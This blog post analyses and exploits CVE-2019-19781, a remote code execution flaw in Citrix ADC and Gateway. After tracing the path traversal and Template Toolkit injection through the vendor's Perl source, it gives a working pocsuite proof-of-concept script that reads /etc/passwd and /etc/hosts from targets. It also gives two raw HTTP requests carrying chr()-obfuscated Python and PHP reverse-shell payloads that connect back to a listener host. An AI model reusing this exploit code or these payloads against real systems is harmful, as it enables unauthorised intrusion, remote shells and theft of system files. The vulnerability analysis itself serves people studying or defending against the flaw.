Post

CVE-2019-19781 Citrix Application DC & Citrix Gateway RCE

Analysis

Two steps:

  1. Use path traversal request newbm.pl to write to xml file (1sh HTTP request).
  2. Template toolkit load and parse the xml file(2nd Request).

Path Traversal

In the published payload, you can see that the problem is under the vpns folder. We were able to find useful information in the http.conf file:

1
2
3
4
5
6
7
8
9
10
11
12
13
Alias /vpns/portal/scripts/ /netscaler/portal/scripts/
...
PerlSetEnv portalLoc /vpns/portal/
PerlSetEnv PortalRoot /netscaler/
PerlRequire /netscaler/portal/utils/startup.pl
PerlModule NetScaler::Portal::Handler

<Location /vpns/portal/>
SetHandler perl-script
PerlResponseHandler NetScaler::Portal::Handler
PerlSendHeader On
</Location>

In the payload you can find the http post request header:

1
2
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/12603aaf

We find NSC_USER int the /netscaler/portal/modules/NetScaler/Portal/UserPrefs.pm

We can see that the username comes from the NSC_USER field in the http request and is spliced into the filename. So we can specify any file under vpns.This code is encapsulated in a csd function, and all code that calls this method will have problems.

1
2
3
4
5
6
my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.");
$self->{username} = $username;  
...
$self->{session} = %session;
$self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml';

I found two points.

handler.pm:

1
2
3
4
$r->no\_cache(1);
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();

newbm.pl:

1
2
3
my $cgi = new CGI;
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();

Further found that you can write files in newbm.pl.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
my $doc = $user->csd();

#disallow get requests to make it difficult to launch XSRF attacks
if ($ENV{'REQUEST\_METHOD'} ne 'POST') {
my $msg = "Access Denied";
print "Location: " . $ENV{portalLoc} . "error.html?$msg\n\n";  
exit;
}

my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI\_inuse = Encode::decode('utf8', $cgi->param('UI\_inuse'));
...
$user->filewrite($doc);

The generated file is as follows.

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/2d13335a">
  <bookmarks>
    <bookmark UI\_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]" title="2d13335a" url="http://example.com" />
  </bookmarks>
  <escbk>
  </escbk>
  <filesystems></filesystems>
  <style></style>
</user>

Template Process the xml

Citrix uses Template Toolkit to parse templates.The second request for /vpn/../vpns/portal/youfilename.xml, this operation will be handled by the Handler module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
my $tmplfile = $r->path\_info();
$tmplfile =~ s[^/][];
my $template = Template->new({INCLUDE\_PATH =>  NetScaler::Portal::Config::c->{template\_dir},CACHE\_SIZE => 64, COMPILE\_DIR=> NetScaler::Portal::Config::c->{template\_compile\_dir}, COMPILE\_EXT => '.ttc2'});
if ($tmplfile =~/.\*\.css$/){
  $r->send\_http\_header('text/css');
} else {
  $r->send\_http\_header('text/html');
}

$template->process($tmplfile, $doc) || do {
  my $error = $template->error();
  my $lcError = lc($error);
  if ( $error->type() eq "file" && $lcError  =~ /^file error/ && $lcError =~ /.not found$/ ) {
  return NOT\_FOUND;
}
  print NetScaler::Pcsd ortal::UserPrefs::html\_escape\_string($error), "\n";
};

Template Toolkit can eval perl without EVAL_PERL.

We use tpage for testing.

Re-Appear

Download: https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-36-27.html

Install in VMware:

You need to configure the IpAddress GetWay & Mask. You can Login the virtual machine use ssh tool(nsrecover/nsroot).

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python
# -\*- coding: utf-8 -\*-
# Time : 2020/1/10 10:28
# Author : William Jones
# File : poc2.py
# Email : [[email protected]](/cdn-cgi/l/email-protection)
# copyright: (c) 2020 by William Jones.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.

import urlparse

from pocsuite.api.poc import POCBase
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.request import req
from pocsuite.api.utils import randomStr


class TestPOC(POCBase):

    vulID = 'CVE-2019-19781'
    version = ''
    author = ''
    vulDate = '2020-01-10'
    createDate = '2020-01-10'
    updateDate = '2020-01-10'
    references = [
        "https://cert.360.cn/warning/detail?id=acd3738e106ab653ab2c27a93427eb67"
    ]
    name = ''
    appPowerLink = ''
    appName = ''
    appVersion = '''
'''
vulType = ''
desc = '''
'''
samples = [ ]
install\_requires = ""

    def \_attack(self):
        return self.\_verify()

    def \_verify(self):
        result = {}
        self.raw\_url = self.url
        host = urlparse.urlparse(self.url).hostname
        port = urlparse.urlparse(self.url).port
        scheme = urlparse.urlparse(self.url).scheme
        if port is None:
            port = "443"
        else:
            port = str(port)
        if "https" == scheme:
            self.url = "%s://%s" % (scheme, host)
        else:
            self.url = "%s://%s:%s" % (scheme, host, port)

        command = 'cat /etc/passwd'
        res = self.run\_cmd(command=command)
        if "root:\*:0:0" in res:
            result["VerifyInfo"] = {}
            result["VerifyInfo"]["url"] = self.url
            result["VerifyInfo"]["passwd"] = res
            result["VerifyInfo"]["hosts"] = self.run\_cmd("cat /etc/hosts")
        return self.parse\_output(result)

    def run\_cmd(self, command):
        filename = randomStr(10)
        return self.port\_req(self.url, filename, command)

    def port\_req(self, url, filename, cmd):
        newbm\_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
        headers = {
            "Connection": "close",
            "NSC\_USER": "../../../netscaler/portal/templates/%s" % filename,
            "NSC\_NONCE": "nsroot"
        }
        payload = "url=http://example.com&title=" + filename + "&desc=[% template.new('BLOCK' = 'print `" + cmd + "`') %]"
        try:
            r = req.post(url=newbm\_url, headers=headers, data=payload, verify=False, allow\_redirects=False)
        except Exception as e:
            return None
        if r.status\_code == 200 and 'parent.window.ns\_reload' in r.content:
            return self.get\_res(url, filename)
        else:
            return None

    def get\_res(self, url, filename):
        xml\_url = url + '/vpn/../vpns/portal/%s.xml' % filename
        headers = {
            "NSC\_USER": "nsroot",
            "NSC\_NONCE": "nsroot"
        }
        res = None
        try:
            r = req.get(xml\_url, headers=headers, verify=False)
        except Exception as e:
            return res

        if r.status\_code == 200:
            res = r.content.split("&#117;")[0]
        return res

    def parse\_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

The result

Get Shell

Use Python

1
2
3
4
5
6
7
8
9
10
11
12
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: \*/\*
User-Agent: python-requests/2.21.0
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/shellcode
Content-Length: 2693

url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(47) . chr(118) . chr(97) . chr(114) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(32) . chr(45) . chr(99) . chr(32) . chr(39) . chr(105) . chr(109) . chr(112) . chr(111) . chr(114) . chr(116) . chr(32) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(44) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(44) . chr(111) . chr(115) . chr(59) . chr(115) . chr(61) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(40) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(65) . chr(70) . chr(95) . chr(73) . chr(78) . chr(69) . chr(84) . chr(44) . chr(10) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(83) . chr(79) . chr(67) . chr(75) . chr(95) . chr(83) . chr(84) . chr(82) . chr(69) . chr(65) . chr(77) . chr(41) . chr(59) . chr(115) . chr(46) . chr(99) . chr(111) . chr(110) . chr(110) . chr(101) . chr(99) . chr(116) . chr(40) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(41) . chr(59) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(48) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(49) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(10) . chr(50) . chr(41) . chr(59) . chr(112) . chr(61) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(46) . chr(99) . chr(97) . chr(108) . chr(108) . chr(40) . chr(91) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(34) . chr(44) . chr(34) . chr(45) . chr(105) . chr(34) . chr(93) . chr(41) . chr(59) . chr(39))'})%]

Use PHP

1
2
3
4
5
6
7
8
9
10
11
12
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: \*/\*
User-Agent: python-requests/2.21.0
NSC\_NONCE: nsroot
NSC\_USER: ../../../netscaler/portal/templates/phpcode
Content-Length: 930

url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(112) . chr(104) . chr(112) . chr(32) . chr(45) . chr(114) . chr(32) . chr(39) . chr(36) . chr(115) . chr(111) . chr(99) . chr(107) . chr(61) . chr(102) . chr(115) . chr(111) . chr(99) . chr(107) . chr(111) . chr(112) . chr(101) . chr(110) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(32) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(59) . chr(101) . chr(120) . chr(101) . chr(99) . chr(40) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(32) . chr(45) . chr(105) . chr(32) . chr(60) . chr(38) . chr(51) . chr(32) . chr(62) . chr(38) . chr(51) . chr(32) . chr(50) . chr(62) . chr(38) . chr(51) . chr(34) . chr(41) . chr(59) . chr(39))'})%]

Reference

[1] http://www.template-toolkit.org/

[2] https://perl.apache.org/docs/2.0/user/handlers/http.html

[3] https://www.linkedin.com/pulse/cve-2019-19781-patrick-coble/?published=t

[4] https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781

[5] https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know

[6] https://github.com/abw/Template2/blob/master/lib/Template/Service.pm

[7] https://docs.citrix.com/en-us/citrix-hardware-platforms/sdx/initial-configuration.html

This post is licensed under CC BY 4.0 by the author.

Trending Tags